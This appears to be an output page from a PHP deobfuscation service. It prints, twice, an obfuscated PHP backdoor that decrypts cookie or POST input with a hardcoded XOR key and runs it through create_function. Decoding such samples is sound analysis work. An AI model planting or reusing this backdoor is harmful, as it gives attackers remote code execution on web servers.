Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$xvwqj = 'o7ynf2egi1cm*#rdlH-st96kpv0b48a\'u3x_'; $ekhhb = Array(); $ekhhb[] = $xvwqj[33..

Decoded Output download

<?  $xvwqj = 'o7ynf2egi1cm*#rdlH-st96kpv0b48a\'u3x_'; 
$ekhhb = Array(); 
$ekhhb[] = $xvwqj[33].$xvwqj[1].$xvwqj[10].$xvwqj[1].$xvwqj[5].$xvwqj[9].$xvwqj[27].$xvwqj[30].$xvwqj[18].$xvwqj[26].$xvwqj[33].$xvwqj[6].$xvwqj[15].$xvwqj[18].$xvwqj[28].$xvwqj[22].$xvwqj[26].$xvwqj[22].$xvwqj[18].$xvwqj[21].$xvwqj[30].$xvwqj[33].$xvwqj[6].$xvwqj[18].$xvwqj[28].$xvwqj[27].$xvwqj[22].$xvwqj[1].$xvwqj[29].$xvwqj[27].$xvwqj[28].$xvwqj[22].$xvwqj[33].$xvwqj[26].$xvwqj[4].$xvwqj[22]; 
$ekhhb[] = $xvwqj[10].$xvwqj[14].$xvwqj[6].$xvwqj[30].$xvwqj[20].$xvwqj[6].$xvwqj[35].$xvwqj[4].$xvwqj[32].$xvwqj[3].$xvwqj[10].$xvwqj[20].$xvwqj[8].$xvwqj[0].$xvwqj[3]; 
$ekhhb[] = $xvwqj[17].$xvwqj[12]; 
$ekhhb[] = $xvwqj[13]; 
$ekhhb[] = $xvwqj[10].$xvwqj[0].$xvwqj[32].$xvwqj[3].$xvwqj[20]; 
$ekhhb[] = $xvwqj[19].$xvwqj[20].$xvwqj[14].$xvwqj[35].$xvwqj[14].$xvwqj[6].$xvwqj[24].$xvwqj[6].$xvwqj[30].$xvwqj[20]; 
$ekhhb[] = $xvwqj[6].$xvwqj[34].$xvwqj[24].$xvwqj[16].$xvwqj[0].$xvwqj[15].$xvwqj[6]; 
$ekhhb[] = $xvwqj[19].$xvwqj[32].$xvwqj[27].$xvwqj[19].$xvwqj[20].$xvwqj[14]; 
$ekhhb[] = $xvwqj[30].$xvwqj[14].$xvwqj[14].$xvwqj[30].$xvwqj[2].$xvwqj[35].$xvwqj[11].$xvwqj[6].$xvwqj[14].$xvwqj[7].$xvwqj[6]; 
$ekhhb[] = $xvwqj[19].$xvwqj[20].$xvwqj[14].$xvwqj[16].$xvwqj[6].$xvwqj[3]; 
$ekhhb[] = $xvwqj[24].$xvwqj[30].$xvwqj[10].$xvwqj[23]; 
var_dump($ekhhb); 
foreach($ekhhb[8]($_COOKIE, $_POST) as $mrwgyl => $jflxa) { 
    function qnqydi($ekhhb, $mrwgyl, $digqqd) { 
        return $ekhhb[7]($ekhhb[5]($mrwgyl.$ekhhb[0], ($digqqd / $ekhhb[9]($mrwgyl)) + 1), 0, $digqqd); 
    } 
 
    function vroodn($ekhhb, $etnbye) { 
        return @$ekhhb[10]($ekhhb[2], $etnbye); 
    } 
 
    function btxlv($ekhhb, $etnbye) { 
        $gcotb = $ekhhb[4]($etnbye) % 3; 
        if (!$gcotb) { 
            $fnkofi = $ekhhb[1]; 
            $sufwrjv = $fnkofi("", $etnbye[1]($etnbye[2])); 
            $sufwrjv(); 
            exit(); 
        } 
    } 
    $jflxa = vroodn($ekhhb, $jflxa); 
    btxlv($ekhhb, $ekhhb[6]($ekhhb[3], $jflxa ^ qnqydi($ekhhb, $mrwgyl, $ekhhb[9]($jflxa)))); 
} ?>

Did this file decode correctly?

Original Code

$xvwqj = 'o7ynf2egi1cm*#rdlH-st96kpv0b48a\'u3x_';
$ekhhb = Array();
$ekhhb[] = $xvwqj[33].$xvwqj[1].$xvwqj[10].$xvwqj[1].$xvwqj[5].$xvwqj[9].$xvwqj[27].$xvwqj[30].$xvwqj[18].$xvwqj[26].$xvwqj[33].$xvwqj[6].$xvwqj[15].$xvwqj[18].$xvwqj[28].$xvwqj[22].$xvwqj[26].$xvwqj[22].$xvwqj[18].$xvwqj[21].$xvwqj[30].$xvwqj[33].$xvwqj[6].$xvwqj[18].$xvwqj[28].$xvwqj[27].$xvwqj[22].$xvwqj[1].$xvwqj[29].$xvwqj[27].$xvwqj[28].$xvwqj[22].$xvwqj[33].$xvwqj[26].$xvwqj[4].$xvwqj[22];
$ekhhb[] = $xvwqj[10].$xvwqj[14].$xvwqj[6].$xvwqj[30].$xvwqj[20].$xvwqj[6].$xvwqj[35].$xvwqj[4].$xvwqj[32].$xvwqj[3].$xvwqj[10].$xvwqj[20].$xvwqj[8].$xvwqj[0].$xvwqj[3];
$ekhhb[] = $xvwqj[17].$xvwqj[12];
$ekhhb[] = $xvwqj[13];
$ekhhb[] = $xvwqj[10].$xvwqj[0].$xvwqj[32].$xvwqj[3].$xvwqj[20];
$ekhhb[] = $xvwqj[19].$xvwqj[20].$xvwqj[14].$xvwqj[35].$xvwqj[14].$xvwqj[6].$xvwqj[24].$xvwqj[6].$xvwqj[30].$xvwqj[20];
$ekhhb[] = $xvwqj[6].$xvwqj[34].$xvwqj[24].$xvwqj[16].$xvwqj[0].$xvwqj[15].$xvwqj[6];
$ekhhb[] = $xvwqj[19].$xvwqj[32].$xvwqj[27].$xvwqj[19].$xvwqj[20].$xvwqj[14];
$ekhhb[] = $xvwqj[30].$xvwqj[14].$xvwqj[14].$xvwqj[30].$xvwqj[2].$xvwqj[35].$xvwqj[11].$xvwqj[6].$xvwqj[14].$xvwqj[7].$xvwqj[6];
$ekhhb[] = $xvwqj[19].$xvwqj[20].$xvwqj[14].$xvwqj[16].$xvwqj[6].$xvwqj[3];
$ekhhb[] = $xvwqj[24].$xvwqj[30].$xvwqj[10].$xvwqj[23];
var_dump($ekhhb);
foreach($ekhhb[8]($_COOKIE, $_POST) as $mrwgyl => $jflxa) {
    function qnqydi($ekhhb, $mrwgyl, $digqqd) {
        return $ekhhb[7]($ekhhb[5]($mrwgyl.$ekhhb[0], ($digqqd / $ekhhb[9]($mrwgyl)) + 1), 0, $digqqd);
    }

    function vroodn($ekhhb, $etnbye) {
        return @$ekhhb[10]($ekhhb[2], $etnbye);
    }

    function btxlv($ekhhb, $etnbye) {
        $gcotb = $ekhhb[4]($etnbye) % 3;
        if (!$gcotb) {
            $fnkofi = $ekhhb[1];
            $sufwrjv = $fnkofi("", $etnbye[1]($etnbye[2]));
            $sufwrjv();
            exit();
        }
    }
    $jflxa = vroodn($ekhhb, $jflxa);
    btxlv($ekhhb, $ekhhb[6]($ekhhb[3], $jflxa ^ qnqydi($ekhhb, $mrwgyl, $ekhhb[9]($jflxa))));
}

Function Calls

None

Variables

$ekhhb []
$xvwqj o7ynf2egi1cm*#rdlH-st96kpv0b48a'u3x_

Stats

MD5 568eae3578ff2cfae92b3320becc02e6
Eval Count 0
Decode Time 132 ms